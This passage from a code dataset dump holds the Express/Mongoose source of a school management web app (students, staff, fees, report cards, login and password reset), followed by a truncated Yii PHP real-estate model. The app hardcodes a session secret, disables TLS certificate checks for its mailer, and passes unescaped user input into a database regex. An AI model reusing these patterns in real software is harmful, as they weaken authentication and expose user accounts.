branch_name stringclasses 149 values | text stringlengths 23 89.3M | directory_id stringlengths 40 40 | languages listlengths 1 19 | num_files int64 1 11.8k | repo_language stringclasses 38 values | repo_name stringlengths 6 114 | revision_id stringlengths 40 40 | snapshot_id stringlengths 40 40 |
|---|---|---|---|---|---|---|---|---|
refs/heads/main | <file_sep># CERD
School Management System
<file_sep>const express = require('express');
const {validateDB} = require('../utils/validateSchemas');
const {isLoggedIn} = require('../utils/AuthMW');
const catchAsync = require('../utils/catchAsync');
const router = express.Router();
const Student = require('../Models/Students');
const Parent = require('../Models/Parents');
const Standard = require('../Models/Standards');
const Revenue = require('../Models/Revenue');
const ExpressError = require('../utils/ExpressError');
const {retireveRevenue} = require('../utils/RetrieveRev');
const Standards = require('../Models/Standards');
const ReportCard = require('../Models/ReportCard');
const schoolStandard = {class:['PreKG', 'LKG','UKG','I', 'II', 'III', 'IV', 'V'], sec:['A', 'B', 'C'], RTE:['No', 'Yes']};
router.get('/', isLoggedIn, (req, res) => {
res.render('Students/NewEntry');
});
router.post('/', isLoggedIn, validateDB, catchAsync(async (req, res, next) => {
const verifyAdmission = await Standard.find({admissionNumber: req.body.class.admissionNumber});
if (verifyAdmission.length > 0) {
throw new ExpressError('Admission Number entered already exist in DB (Admission number should be unique)!', 404);
} else {
const createStudent = new Student(req.body.student);
const createParent = new Parent(req.body.parents);
const createStandard = new Standard(req.body.class);
const createMark = new ReportCard ({});
const studentRevenue = await retireveRevenue(createStandard, 'POST');
createStudent.parents = createParent;
createStudent.classes = createStandard;
createStudent.revenue = studentRevenue;
createStudent.mark = createMark;
await studentRevenue.save();
await createStandard.save();
await createStudent.save();
await createMark.save();
await createParent.save();
req.flash('success', 'Successfully created new Student record!');
res.redirect('/dashboard');
};
}));
router.put('/:id', isLoggedIn, validateDB, catchAsync(async(req, res, next) => {
const {id} = req.params;
const updateStudent = await Student.findByIdAndUpdate(id, req.body.student, {runValidators: true, new: true}).populate('parents').populate('classes');
const updateParent = await Parent.findByIdAndUpdate(updateStudent.parents._id, req.body.parents, {runValidators: true, new: true});
const updateClasses = await Standard.findByIdAndUpdate(updateStudent.classes._id, req.body.class, {runValidators: true, new: true});
const updateRevenue = await Revenue.findByIdAndUpdate(updateStudent.revenue._id, await retireveRevenue(updateClasses, 'PUT'), {runValidators: true, new: true});
req.flash('success', `Successfully updated ${updateStudent.name} details!`);
res.redirect('/dashboard');
}));
router.delete('/delete/:id', isLoggedIn, catchAsync(async(req, res, next) => {
const {id} = req.params;
const removeStudent = await Student.findByIdAndDelete(id);
req.flash('success', `Successfully deleted/removed ${removeStudent.name} details!`);
res.redirect('/dashboard');
}));
router.get('/edit/:id', isLoggedIn, catchAsync(async (req, res, next) => {
const {id} = req.params;
const retrieveStudent = await Student.findById(id).populate('parents').populate('classes');
if(!retrieveStudent){
req.flash('error', "This student detail doesn't exist in DB anymore");
return res.redirect('/dashboard');
}
res.render('Students/Edit', {student:retrieveStudent, schoolStandard});
}));
router.get('/promote', isLoggedIn, catchAsync(async (req, res, next) => {
res.render('Students/Promote');
}));
router.post('/promote', isLoggedIn, catchAsync(async (req, res, next) => {
const classes = ['PreKG', 'LKG', 'UKG', 'I', 'II', 'III', 'IV', 'V']
const promotionList = req.body.list;
let listOfIDs = promotionList.split(",");
if(listOfIDs.length > 0) {
listOfIDs.forEach(async (element) => {
let retrieveStudent = await Student.findById(element).populate('classes').populate('revenue');
const present = Number(classes.indexOf(retrieveStudent.classes.class));
if (present == 7) {
const transferStudent = await Student.findByIdAndUpdate(element, {current: 'InActive', DOL: new Date().toISOString().slice(0,10)});
} else if (present < 7) {
const updateExistingStandard = await Standards.findByIdAndUpdate(retrieveStudent.classes._id, {class:classes[(present + 1)]}, {runValidators: true, new: true});
const updatedRevenue = await retireveRevenue(updateExistingStandard, 'PUT');
const updateExistingRev = await Revenue.findByIdAndUpdate(retrieveStudent.revenue._id, updatedRevenue, {runValidators: true, new: true});
}
});
}
res.render('Students/Promote');
}));
module.exports = router;
<file_sep>const mongoose = require('mongoose');
const { Schema } = mongoose;
const classSchema = new Schema({
class: {
type: String,
required: true,
enum: ['PreKG', 'LKG', 'UKG', 'I', 'II', 'III', 'IV', 'V']
},
section: {
type: String,
required: true,
enum: ['A', 'B', 'C']
},
admissionNumber: {
type: Number,
required: true,
unique: true
},
DOJ: {
type: String,
required: true
},
RTE: {
type: String,
required: true,
enum: ['No', 'Yes']
}
});
module.exports = mongoose.model('Standards', classSchema);<file_sep>const express = require('express');
const app = express();
const mongoose = require('mongoose');
const ejs = require('ejs-mate');
const path = require('path');
const year = require('./Models/AcademicYear');
const methodOverride = require('method-override');
const catchAsync = require('./utils/catchAsync');
const ExpressError = require('./utils/ExpressError');
const passport = require('passport');
const session = require('express-session');
const flash = require('connect-flash');
const localPassport = require('passport-local');
const User = require('./Models/User');
const studentRoute = require('./Routes/Students');
const dashboardRoute = require('./Routes/Dashboard');
const transferRoute = require('./Routes/TransferStudents');
const incomeRoute = require('./Routes/IncomeSchema');
const revenueRoute = require('./Routes/Revenue');
const reportRoute = require('./Routes/ReportCard');
const staffRoute = require('./Routes/Staff');
const userRoute = require('./Routes/User');
const {isLoggedIn} = require('./utils/AuthMW');
// Development Phase
const setAcademicYear = async () => {
const retrieve = await year.find({});
if (retrieve.length == 0){
const academic = new year ({ year: new Date().getFullYear() });
await academic.save();
};
};
setAcademicYear();
// MongoDB
mongoose.connect('mongodb://localhost/CERD', {
useNewUrlParser: true,
useUnifiedTopology: true,
useCreateIndex: true,
useFindAndModify: false
}
).then((data) => {
console.log('DB successfully connected');
}).catch((err) => {
console.log(err);
});
// Middleware - Express
app.engine('ejs', ejs);
app.set('views', path.join(__dirname, '/views'));
app.set('view engine', 'ejs');
app.use(express.urlencoded({ extended: true }));
app.use(methodOverride('_method'));
app.use(express.static('Public'));
// Session Config
const sessionConfig = {
secret: 'thisisasecret!',
resave: false,
saveUninitialized: true,
cookie: {
httpOnly: true,
expires: Date.now() + 1000 * 60 * 60,
maxAge: 1000 * 60 * 60
}
}
app.use(session(sessionConfig));
// Passport Authentication
app.use(passport.initialize());
app.use(passport.session());
passport.use(new localPassport(User.authenticate()));
passport.serializeUser(User.serializeUser());
passport.deserializeUser(User.deserializeUser());
// Middleware - Flash Messages
app.use(flash());
app.use((req, res, next) => {
res.locals.currentUser = req.user;
res.locals.success = req.flash('success');
res.locals.error = req.flash('error');
next();
});
// Routes
app.use('/', userRoute);
app.use('/students', studentRoute);
app.use('/dashboard', dashboardRoute);
app.use('/transfer', transferRoute);
app.use('/IncomeSchema', incomeRoute);
app.use('/Revenue', revenueRoute);
app.use('/Report', reportRoute);
app.use('/staff', staffRoute);
// Academic Year
app.post('/changeYear', isLoggedIn, catchAsync(async (req, res, next) => {
const retrieve = await year.findOneAndUpdate({}, {$set: {year: req.body.year}});
res.redirect('/dashboard');
}));
// System Route
app.get('/', (req, res) => {
res.send('Hello World, I am coming to rule!');
});
app.all('*', (req, res, next) => {
next(new ExpressError('Page not found!', 404));
})
app.use((err, req, res, next) => {
const {statusCode = 500, message = 'Oops! Something went wrong!'} = err;
res.status(statusCode).render('Errors/404', {err});
});
app.listen('3000', () =>{
console.log('Running on port 3000');
});<file_sep>const express = require('express');
const catchAsync = require('../utils/catchAsync');
const router = express.Router();
const Student = require('../Models/Students');
const ReportCard = require('../Models/ReportCard');
const { Router } = require('express');
const {isLoggedIn} = require('../utils/AuthMW');
router.get('/:studentID', isLoggedIn, catchAsync(async (req, res) => {
const { studentID } = req.params;
let student = await Student.findById(studentID).populate('mark');
res.render('Students/Report', {student:student, report:student.mark == undefined ? studentMark : student.mark});
}));
router.post('/:studentID', isLoggedIn, catchAsync(async (req, res) => {
const { studentID } = req.params;
const retrieveStudent = await Student.findById(studentID).populate('mark');
if (retrieveStudent.mark.heading != req.body.heading){
var retireveMark = await ReportCard.findByIdAndUpdate(retrieveStudent.mark._id, {$set: {subjects: []}}, {new:true});
var retireveMark = await ReportCard.findByIdAndUpdate(retrieveStudent.mark._id, {heading: req.body.heading, $push:{subjects: req.body.subjects}}, {new:true});
} else if (retrieveStudent.mark.heading == req.body.heading) {
var retireveMark = await ReportCard.findByIdAndUpdate(retrieveStudent.mark._id, {$push:{subjects: req.body.subjects}}, {new:true});
};
res.render('Students/Report' , {student:retrieveStudent, report:retireveMark});
}));
router.delete('/:studentID/:reportID', isLoggedIn, catchAsync(async (req, res) => {
const { studentID, reportID } = req.params;
const retrieveStudent = await Student.findById(studentID).populate('mark');
const deleteReport = await ReportCard.findByIdAndUpdate(retrieveStudent.mark._id, {$pull:{subjects: {_id:reportID}}}, {new:true});
res.render('Students/Report' , {student:retrieveStudent, report:deleteReport});
}))
router.delete('/:studentID', isLoggedIn, catchAsync(async (req, res) => {
const { studentID } = req.params;
const retrieveStudent = await Student.findById(studentID).populate('mark');
const deleteReport = await ReportCard.findByIdAndUpdate(retrieveStudent.mark._id, {heading: undefined, $set: {subjects: []}}, {new:true});
res.render('Students/Report' , {student:retrieveStudent, report:deleteReport});
}))
module.exports = router;<file_sep>const mongoose = require('mongoose');
const { Schema } = mongoose;
const passportLocal = require('passport-local-mongoose');
const userSchema = new Schema({
responsibility: {
type: String,
enum: ['Admin', 'Staff'],
required: true,
},
email: {
type: String,
required: true,
unique: true
},
resetPasswordToken: String,
resetPasswordExpires: Date,
});
userSchema.plugin(passportLocal);
module.exports = mongoose.model('User', userSchema);<file_sep>const express = require('express');
const router = express.Router();
const catchAsync = require('../utils/catchAsync');
const {validateDB} = require('../utils/validateSchemas');
const Student = require('../Models/Students');
const {retireveRevenue} = require('../utils/RetrieveRev');
const Revenue = require('../Models/Revenue');
const {isLoggedIn} = require('../utils/AuthMW');
router.get('/', isLoggedIn, catchAsync(async(req, res, next) => {
const {id} = req.params;
const transferStudent = await Student.find({current: 'InActive'}).populate('parents').populate('classes');
res.render('Students/TransferredStudent', {students:transferStudent});
}));
router.patch('/:id', isLoggedIn, validateDB, catchAsync(async(req, res, next) => {
const {id} = req.params;
const transferStudent = await Student.findByIdAndUpdate(id, {current: 'InActive', DOL: new Date().toISOString().slice(0,10)});
res.redirect('/dashboard');
}));
router.patch('/re-add/:id', isLoggedIn, validateDB, catchAsync(async(req, res, next) => {
const {id} = req.params;
const reAddStudent = await Student.findByIdAndUpdate(id, {current: 'Active', DOL: ''}).populate('classes').populate('revenue');
const updatedRevenue = await retireveRevenue(reAddStudent.classes, 'PUT');
const updateExistingRec = await Revenue.findByIdAndUpdate(reAddStudent.revenue._id, updatedRevenue, {runValidators: true, new: true});
res.redirect('/dashboard');
}));
module.exports = router;
<file_sep>const express = require('express');
const router = express.Router();
const catchAsync = require('../utils/catchAsync');
const IncomeSchema = require('../Models/IncomeSchema');
const year = require('../Models/AcademicYear');
const {validateIncome} = require('../utils/validateSchemas');
const {isLoggedIn, isAuthorized} = require('../utils/AuthMW');
router.get('/', isLoggedIn, catchAsync(async (req, res, next) => {
const currentAcademicYear = await year.find({});
const incomeDetails = await IncomeSchema.find({academicYear: currentAcademicYear[0].year});
if(!incomeDetails){
req.flash('error', "This student detail doesn't exist in DB anymore");
return res.redirect('/dashboard');
}
res.render('Revenue/YearlyIncome', {incomeDetails, year:currentAcademicYear[0].year});
}));
router.post('/', isLoggedIn, isAuthorized, validateIncome, catchAsync(async(req, res, next) => {
const Income = new IncomeSchema(req.body);
await Income.save();
res.redirect('/IncomeSchema');
}));
router.get('/:year', isLoggedIn, catchAsync(async(req, res, next) => {
const yearlyIncome = await IncomeSchema.find({academicYear: req.params.year});
res.status(200).json({data: yearlyIncome});
}));
router.delete('/removeIncome/:id', isLoggedIn, isAuthorized, catchAsync(async(req, res, next) => {
const {id} = req.params;
const Income = await IncomeSchema.findByIdAndDelete(id);
res.redirect('/IncomeSchema');
}));
module.exports = router;<file_sep>const mongoose = require('mongoose');
const User = require('./User');
const { Schema } = mongoose;
const staffSchema = new Schema({
name: {
type: String,
required: true
},
aadhar: {
type: Number,
required: true
},
DOB: {
type: String,
required: true
},
religion: String,
caste: String,
gender: {
type: String,
enum: ['Male', 'Female']
},
detail: {
type: String,
enum: ['Tech', 'NonTech']
},
role: {
type: String,
enum: ['Admin', 'Staff']
},
fatherName: String,
motherName: String,
doorNumber: String,
streetName: String,
cityName: String,
pincode: Number,
mainContact: {
type: Number,
required: true
},
alternateContact: Number,
admissionNumber: {
type: Number,
required: true,
unique: true
},
DOJ: {
type: String,
required: true
},
current: {
type: String,
enum: ['Active', 'InActive']
},
DOL: String
});
staffSchema.post('save', async function(staff) {
if(staff) {
await mongoose.model('Staff').findOneAndUpdate({_id: staff._id}, {current: 'Active'});
}
});
staffSchema.post('findOneAndDelete', async function(staff) {
if(staff) {
await User.findOneAndDelete({username: staff.admissionNumber});
}
});
module.exports = mongoose.model('Staff', staffSchema);<file_sep>const mongoose = require('mongoose');
const { Schema } = mongoose;
const Revenue = new Schema({
amountPaid:[
{
academicYr: Number,
present: String,
description: String,
paid: Number
}
],
newStudent: Number,
oldStudent: Number
});
module.exports = mongoose.model('Revenue', Revenue);<file_sep>const mongoose = require('mongoose');
const Parent = require('./Parents');
const Standard = require('./Standards');
const Revenue = require('./Revenue');
const ReportCard = require('./ReportCard');
const { Schema } = mongoose;
const studentSchema = new Schema({
name: {
type: String,
required: true
},
aadhar: {
type: Number,
required: true
},
DOB: {
type: String,
required: true
},
gender: {
type: String,
enum: ['Male', 'Female']
},
religion: String,
caste: String,
parents: {
type: Schema.Types.ObjectId,
ref: 'Parents'
},
classes: {
type: Schema.Types.ObjectId,
ref: 'Standards'
},
current: {
type:String,
enum:['Active', 'InActive']
},
DOL:{
type: String
},
revenue:{
type: Schema.Types.ObjectId,
ref: 'Revenue'
},
mark:{
type: Schema.Types.ObjectId,
ref: 'ReportCard'
}
});
studentSchema.post('save', async function(student) {
if(student) {
await mongoose.model('Students').findOneAndUpdate({_id: student._id}, {current: 'Active'});
}
});
studentSchema.post('findOneAndDelete', async function(student) {
if(student) {
await Parent.findOneAndDelete({_id: student.parents._id});
await Standard.findOneAndDelete({_id: student.classes._id});
await Revenue.findOneAndDelete({_id: student.revenue._id});
await ReportCard.findOneAndDelete({_id: student.mark._id});
}
});
module.exports = mongoose.model('Students', studentSchema);<file_sep>const express = require('express');
const router = express.Router();
const catchAsync = require('../utils/catchAsync');
const Student = require('../Models/Students');
const Revenue = require('../Models/Revenue');
const year = require('../Models/AcademicYear');
const {retireveRevenue} = require('../utils/RetrieveRev');
const Standards = require('../Models/Standards');
const {isLoggedIn} = require('../utils/AuthMW');
router.post('/:id', isLoggedIn, catchAsync(async (req, res, next) => {
const { id } = req.params;
const studentRev = await Student.findById(id).populate('revenue');
const update = await Revenue.findOneAndUpdate({_id: studentRev.revenue._id}, {$push:{amountPaid: req.body}});
res.redirect('/revenue/' + id);
}));
router.delete('/:studentID/:revID/:paidID', isLoggedIn, catchAsync(async (req, res, next) => {
const { studentID, revID, paidID } = req.params;
const del = await Revenue.findOneAndUpdate({_id: revID}, {$pull: {amountPaid: {_id: paidID}}});
res.redirect('/revenue/' + studentID);
}));
router.get('/:item', isLoggedIn, catchAsync(async (req, res, next) => {
let paid = new Number(0);
const { item } = req.params;
const currentAcademicYear = await year.find({});
const studentRev = await Student.findById(item).populate('classes').populate('revenue');
for (let l in studentRev.revenue.amountPaid){
if(studentRev.revenue.amountPaid[l].academicYr == currentAcademicYear[0].year){
paid = paid + studentRev.revenue.amountPaid[l].paid
}
}
res.render('Students/Revenue', {studentRev:studentRev, workingYear:currentAcademicYear[0].year, totalAmountPaid: paid});
}));
router.get('/json/:studentID/:reqYear/:std', isLoggedIn, catchAsync(async(req, res, next) => {
const { studentID, reqYear, std } = req.params;
const studentClass = await Standards.findById(std);
let retrieveRev = await Revenue.findById(studentID);
const returnVal = await retireveRevenue(studentClass, 'GET', reqYear, 'YES');
res.status(200).json({data:{data1:retrieveRev, data2:returnVal, data3:studentClass.DOJ}});
}));
module.exports = router;<file_sep>const mongoose = require('mongoose');
const { Schema } = mongoose;
const {retireveRevenue} = require('../utils/RetrieveRev');
const year = new Schema({
year: {
type: Number,
required: true
}
});
year.post('findOneAndUpdate', async function(preYr) {
if(preYr) {
console.log(preYr)
const allActiveStudents = await mongoose.model('Students').find({current: 'Active'}).populate('classes').populate('revenue');
for (let student in allActiveStudents){
const updatedRevenue = await retireveRevenue(allActiveStudents[student].classes, 'PUT', preYr);
const updateExistingRec = await mongoose.model('Revenue').findByIdAndUpdate(allActiveStudents[student].revenue._id, updatedRevenue, {runValidators: true, new: true});
};
}
});
module.exports = mongoose.model('AcademicYear', year);<file_sep>const express = require('express');
const catchAsync = require('../utils/catchAsync');
const router = express.Router();
const Student = require('../Models/Students');
const Staff = require('../Models/Staff');
const year = require('../Models/AcademicYear');
const {isLoggedIn} = require('../utils/AuthMW');
router.get('/', isLoggedIn, catchAsync(async (req, res, next) => {
const listOfStudents = await Student.find({}).populate('parents').populate('classes').populate('revenue');
const activeStaff = await Staff.find({current:'Active'});
const techStaff = activeStaff.filter(function(ele) {
if(ele.detail == 'Tech') return ele;
}).length;
let numberOfBoys = numberOfGirls = activeStudents = transferredStudents = newAdmission = previousAdmission = new Number(0);
let presentYr = await year.find({});
presentYr = presentYr[0].year;
for (let student of listOfStudents) {
if(student.gender === 'Male' && student.current === 'Active') {
numberOfBoys += 1;
} else if (student.gender === 'Female' && student.current === 'Active') {
numberOfGirls += 1;
}
if (student.current === 'Active'){
activeStudents += 1;
} else if (student.current === 'InActive') {
transferredStudents += 1;
}
if (new Date(student.classes.DOJ).getFullYear() === presentYr){
newAdmission +=1;
} else if (new Date(student.classes.DOJ).getFullYear() === (presentYr - 1)){
previousAdmission +=1;
}
}
const numberData = {
boys: numberOfBoys,
girls: numberOfGirls,
active: activeStudents,
transfer: transferredStudents,
admission: newAdmission,
year: presentYr,
lastyr: previousAdmission,
tableIncrement: 1,
activeStaff: activeStaff.length,
techStaff: techStaff,
nonTechStaff: (activeStaff.length - techStaff)
}
res.render('Students/studentsList', {students:listOfStudents, numberData});
}));
router.get('/json', isLoggedIn, catchAsync(async (req, res, next) => {
const listOfStudents = await Student.find({current: 'Active'}).populate('parents').populate('classes').sort({ name: 'asc'});
res.status(200).json({data: listOfStudents});
}));
router.get('/Tjson', isLoggedIn, catchAsync(async (req, res, next) => {
const listOfStudents = await Student.find({current: 'InActive'}).populate('parents').populate('classes').sort({ name: 'asc'});
res.status(200).json({data: listOfStudents});
}));
module.exports = router;<file_sep>const joi = require('joi');
const ExpressError = require('../utils/ExpressError');
ValidateStudentsSchema = joi.object({
student: joi.object({
name: joi.string().required(),
aadhar: joi.number().unsafe().required(),
DOB: joi.date().iso().required(),
gender: joi.string().valid('Male', 'Female').required(),
religion: joi.string(),
caste: joi.string()
}),
parents: joi.object({
fatherName: joi.string().required(),
motherName: joi.string().required(),
mainContact: joi.number().integer().max(9999999999).required(),
alternateContact: joi.number().integer().max(9999999999),
doorNumber: joi.string(),
streetName: joi.string(),
cityName: joi.string(),
pincode: joi.number()
}),
class: joi.object({
class: joi.string().valid('PreKG', 'LKG', 'UKG', 'I', 'II', 'III', 'IV', 'V').required(),
section: joi.string().valid('A', 'B', 'C').required(),
admissionNumber: joi.number().unsafe().required(),
DOJ: joi.date().iso().required(),
RTE: joi.string().valid('No', 'Yes').required()
})
});
ValidateStaffSchema = joi.object({
name: joi.string().required(),
aadhar: joi.number().unsafe().required(),
DOB: joi.date().iso().required(),
religion: joi.string(),
caste: joi.string(),
gender: joi.string().valid('Male', 'Female').required(),
detail: joi.string().valid('Tech', 'NonTech').required(),
role: joi.string().valid('Staff', 'Admin').required(),
fatherName: joi.string().required(),
motherName: joi.string().required(),
doorNumber: joi.string(),
streetName: joi.string(),
cityName: joi.string(),
pincode: joi.number(),
mainContact: joi.number().integer().max(9999999999).required(),
alternateContact: joi.number().integer().max(9999999999),
admissionNumber: joi.number().unsafe().min(999).required(),
DOJ: joi.date().iso().required()
});
ValidateIncomeSchema = joi.object({
particulars: joi.string().required(),
PreKG: joi.number().required(),
LKG: joi.number().required(),
UKG: joi.number().required(),
I: joi.number().required(),
II: joi.number().required(),
III: joi.number().required(),
IV: joi.number().required(),
V: joi.number().required(),
academicYear: joi.number().required()
});
module.exports.validateDB = (req, res, next) => {
const { error } = ValidateStudentsSchema.validate(req.body);
if(error) {
const msg = error.details.map(el => el.message).join(' ');
throw new ExpressError(msg, 400);
} else {
next();
}
}
module.exports.validateIncome = (req, res, next) => {
const { error } = ValidateIncomeSchema.validate(req.body);
if(error) {
const msg = error.details.map(el => el.message).join(' ');
throw new ExpressError(msg, 400);
} else {
next();
}
}
module.exports.ValidateStaffSchema = (req, res, next) => {
const { error } = ValidateStaffSchema.validate(req.body.staff);
if(error) {
const msg = error.details.map(el => el.message).join(' ');
throw new ExpressError(msg, 400);
} else {
next();
}
}<file_sep>const express = require('express');
const router = express.Router();
const catchAsync = require('../utils/catchAsync');
const User = require('../Models/User');
const passport = require('passport');
const Staff = require('../Models/Staff');
const nodemailer = require('nodemailer');
const crypto = require('crypto');
// Shows register page
router.get('/Register', (req, res) => {
res.render('Users/register', {login: 'Register'});
});
// Registers new users
router.post('/Register', catchAsync(async(req, res, next) => {
const { staffID, email, password } = req.body.user;
const staffCheck = await Staff.find({admissionNumber:staffID, current:'Active'});
if(staffCheck.length == 0){
req.flash('error', "Staff Identification failed, kindly verify your ID with management!");
res.redirect('/Register');
} else {
try{
const newUser = new User({ responsibility: staffCheck[0].role, email, username:staffID });
const registeredUser = await User.register(newUser, password);
req.login(registeredUser, err => {
if(err) return next(err);
req.flash('success', `Welcome to <NAME>, ${staffCheck[0].name}!`);
res.redirect('/dashboard');
});
} catch (e) {
console.log(e)
req.flash('error', 'Check your email address/Staff ID!, it should be unique');
res.redirect('Register');
}
}
}));
// Login page
router.get('/Login', (req, res) => {
res.render('Users/Register', {login: 'Login'});
});
// Login functionality
router.post('/Login', passport.authenticate('local', { failureFlash: true, failureRedirect: '/Login' }), catchAsync(async(req, res) => {
const {username} = req.body;
const staffCheck = await Staff.find({admissionNumber:username});
req.flash('success', `Welcome back, ${staffCheck[0].name}!`);
const redirectUrl = req.session.returnTo || '/dashboard';
delete req.session.returnTo;
res.redirect(redirectUrl);
}));
// Logout
router.get('/Logout', (req, res) => {
req.logOut();
req.flash('success', 'Good bye!')
res.redirect('/');
});
// forgot password
router.get('/forgot', function(req, res) {
res.render('Users/forgot');
});
router.post('/forgot', catchAsync(async function(req, res) {
const find = await User.findOne({
username: req.body.user.username,
email: {'$regex' : `${req.body.user.email}`, '$options' : 'i'}
});
if(!find){
req.flash('error', 'Check your Staff ID and Email ID!');
res.redirect('/forgot');
}
const hash = crypto.randomFillSync(Buffer.alloc(20)).toString('hex');
const update = await User.findByIdAndUpdate(find._id, {resetPasswordToken: hash, resetPasswordExpires: Date.now() + 3600000}, {runValidators: true, new: true});
const smtpTransport = nodemailer.createTransport({
service: 'gmail',
auth: {
user: '<EMAIL>',
pass: '<PASSWORD>'
},
tls: { rejectUnauthorized: false }
});
const mailOptions = {
to: find.email,
from: '<EMAIL>',
subject: 'C. E. R. D Password Reset',
text: 'You are receiving this because you (or someone else) have requested the reset of the password for your account.\n\n' +
'Please click on the following link, or paste this into your browser to complete the process:\n\n' +
'http://' + req.headers.host + '/reset/' + hash + '\n\n' +
'If you did not request this, please ignore this email and your password will remain unchanged.\n'
};
smtpTransport.sendMail(mailOptions, function(err) {
if(!err) {
req.flash('success', 'An e-mail has been sent to ' + find.email + ' with further instructions.');
res.redirect('/forgot');
} else {
req.flash('error', 'Unable to send email! Reach Admin to get it resolved.');
res.redirect('/forgot');
}
});
}));
router.get('/reset/:token', function(req, res) {
User.findOne({ resetPasswordToken: req.params.token, resetPasswordExpires: { $gt: Date.now() } }, function(err, user) {
if (!user) {
req.flash('error', 'Password reset token is invalid or has expired.');
return res.redirect('/forgot');
}
res.render('reset', {token: req.params.token});
});
});
module.exports = router;<file_sep>const express = require('express');
const router = express.Router();
const catchAsync = require('../utils/catchAsync');
const Staff = require('../Models/Staff');
const User = require('../Models/User');
const {ValidateStaffSchema} = require('../utils/validateSchemas');
const {isLoggedIn, isAuthorized} = require('../utils/AuthMW');
router.get('/', isLoggedIn, isAuthorized, (req, res) => {
res.render('Staff/NewEntry');
});
router.post('/', isLoggedIn, isAuthorized, ValidateStaffSchema, catchAsync(async (req, res, next) => {
const createStaff = new Staff(req.body.staff);
await createStaff.save();
req.flash('success', `Successfully created/added ${createStaff.name} details!`);
res.redirect('/dashboard');
}));
router.delete('/delete/:id', isLoggedIn, isAuthorized, catchAsync(async(req, res, next) => {
const {id} = req.params;
const removeStaff = await Staff.findByIdAndDelete(id);
req.flash('success', `Successfully removed/deleted ${removeStaff.name} details!`);
res.redirect('/dashboard');
}));
router.put('/:id', isLoggedIn, isAuthorized, ValidateStaffSchema, catchAsync(async(req, res, next) => {
const {id} = req.params;
const updateStaff = await Staff.findByIdAndUpdate(id, req.body.staff, {runValidators: true, new: true});
req.flash('success', `Successfully updated ${updateStaff.name} details!`);
res.redirect('/dashboard');
}));
router.get('/edit/:id', isLoggedIn, catchAsync(async (req, res, next) => {
const {id} = req.params;
const retrieveStaff = await Staff.findById(id);
if(!retrieveStaff){
req.flash('error', "This staff detail doesn't exist in DB anymore");
return res.redirect('/dashboard');
}
res.render('Staff/Edit', {staff:retrieveStaff});
}));
router.patch('/transfer/:id', isLoggedIn, isAuthorized, catchAsync(async(req, res, next) => {
const {id} = req.params;
const transferStaff = await Staff.findByIdAndUpdate(id, {current: 'InActive', DOL: new Date().toISOString().slice(0,10)});
await User.findOneAndDelete({username:transferStaff.admissionNumber});
req.flash('success', `Successfully terminated ${transferStaff.name} details!`);
res.redirect('/dashboard');
}));
router.patch('/re-add/:id', isLoggedIn, isAuthorized, catchAsync(async(req, res, next) => {
const {id} = req.params;
const reAddStudent = await Staff.findByIdAndUpdate(id, {current: 'Active', DOL: ''});
req.flash('success', `Successfully re-Added ${reAddStudent.name} details!`);
res.redirect('/dashboard');
}));
router.get('/json', isLoggedIn, catchAsync(async (req, res, next) => {
const listOfStaff = await Staff.find({current:'Active', admissionNumber: { $ne: 770846 }}).sort({ name: 'asc'});
res.status(200).json({data: listOfStaff});
}));
router.get('/Tjson', isLoggedIn, catchAsync(async (req, res, next) => {
const listOfStaff = await Staff.find({current:'InActive'}).sort({ name: 'asc'});
res.status(200).json({data: listOfStaff});
}));
module.exports = router;<file_sep>module.exports.isLoggedIn = (req, res, next) => {
if(!req.isAuthenticated()) {
req.session.returnTo = req.originalUrl;
req.flash('error', 'You must sign in to access it!');
return res.redirect('/Login');
}
next();
}
module.exports.isAuthorized = (req, res, next) => {
if(req.user.responsibility == 'Staff') {
req.flash('error', 'Oops! You dont have permission to do that!');
return res.redirect('/dashboard');
}
next();
} | c0ec36b394232f8c29840fda37d49d3f26ce89e0 | [
"Markdown",
"JavaScript"
] | 18 | Markdown | Prabhu-Kailash/CERD | b1137cbdacaa3047134c0385440d4bda700762fb | 68b9ba326fd2ac6776aaa0dbab7c05bf4dca59b0 |
refs/heads/master | <repo_name>shatrovalexey/test22<file_sep>/models/Realestate.php
<?php
namespace app\models;
/**
* This is the common model class for any real estate objects.
*
* @property string $id
* @property string $agent_id
* @property string $street_id
* @property string $building
* @property integer $room_count
* @property string $z_plos
*
* @property Agent $agent
* @property Street $street
*/
use Yii;
class Realestate extends \yii\db\ActiveRecord {
/**
* @return \yii\db\ActiveQuery
*/
public function getAgent()
{
return $this->hasOne( Agent::className( ) , [ 'id' => 'agent_id' ] ) ;
}
/**
* @return \yii\db\ActiveQuery
*/
public function getStreet()
{
return $this->hasOne( Street::className( ) , [ 'id' => 'street_id' ] ) ;
}
}<file_sep>/models/Agent.php
<?php
namespace app\models;
use Yii;
/**
* Класс модели для таблицы "{{%agent}}".
*
* @property string $id
* @property string $fname
* @property string $sname
* @property string $phone
*
* @property Appart[] $apparts
* @property Cottage[] $cottages
*/
class Agent extends \yii\db\ActiveRecord
{
/**
* @inheritdoc
*/
public static function tableName()
{
return '{{%agent}}';
}
/**
* @inheritdoc
*/
public function rules()
{
return [
[['fname', 'sname', 'phone'], 'required'],
[['fname', 'sname'], 'string', 'max' => 40],
[['phone'], 'string', 'max' => 20],
];
}
/**
* @inheritdoc
*/
public function attributeLabels()
{
return [
'id' => 'идентификатор',
'fname' => 'имя',
'sname' => 'фамилия',
'phone' => 'телефон',
];
}
/**
* @return \yii\db\ActiveQuery
*/
public function getApparts()
{
return $this->hasMany(Appart::className(), ['agent_id' => 'id']);
}
/**
* @return \yii\db\ActiveQuery
*/
public function getCottages()
{
return $this->hasMany(Cottage::className(), ['agent_id' => 'id']);
}
}
<file_sep>/models/Appart.php
<?php
namespace app\models;
use Yii;
/**
* Класс модели для сущности "{{%v_appart}}".
*
* @property string $appart_id
* @property string $real_estate_id
* @property string $agent_id
* @property string $street_id
* @property string $building
* @property integer $room_count
* @property string $area_live
* @property string $stage
*
* @property Agent $agent
* @property Street $street
*/
class Appart extends \app\models\Realestate
{
/**
* @inheritdoc
*/
public static function tableName()
{
return '{{%v_appart}}';
}
/**
* @inheritdoc
*/
public function rules()
{
return [
[['agent_id', 'street_id', 'building', 'area_live', 'stage'], 'required'],
[['agent_id', 'street_id', 'room_count','stage'], 'integer'],
[['area_live'], 'number'],
[['building'], 'string', 'max' => 30],
[['agent_id'], 'exist', 'skipOnError' => true, 'targetClass' => Agent::className(), 'targetAttribute' => ['agent_id' => 'id']],
[['street_id'], 'exist', 'skipOnError' => true, 'targetClass' => Street::className(), 'targetAttribute' => ['street_id' => 'id']],
];
}
/**
* @inheritdoc
*/
public function attributeLabels()
{
return [
'id' => 'идентификатор',
